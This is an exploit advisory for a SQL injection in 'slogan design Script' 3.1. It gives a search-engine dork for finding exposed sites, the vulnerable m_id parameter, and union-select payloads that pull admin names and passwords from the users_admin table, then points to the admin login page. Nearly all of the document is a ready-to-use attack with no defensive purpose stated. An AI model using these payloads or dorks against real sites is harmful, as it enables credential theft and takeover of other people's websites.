Title: slogan design Script SQL Injection Vulnerability
# Version:
3.1
# Author: Mr.P3rfekT
# Software Site:
http://www.slogandesign.co.il
# Tested on Lunix
# CVE : N/A

###############
Founded By Mr.P3rfekT --- We Will Not Go Down ###############

#
Dork : " inurl:"index.php?m_id="

# Helllo Allz.


#
Exploit :

http://[site]/path/index.php?m_id={SQLi}



#
Poc Username:

union select
1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin


# Poc Password:

union select
1,2,3,4,5,6,7,8,pass,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin


# Demo:

http://[site]/union
select
1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin

# Admin Login


#
http://[site]/admin/login.php

# ./done.


####################################################################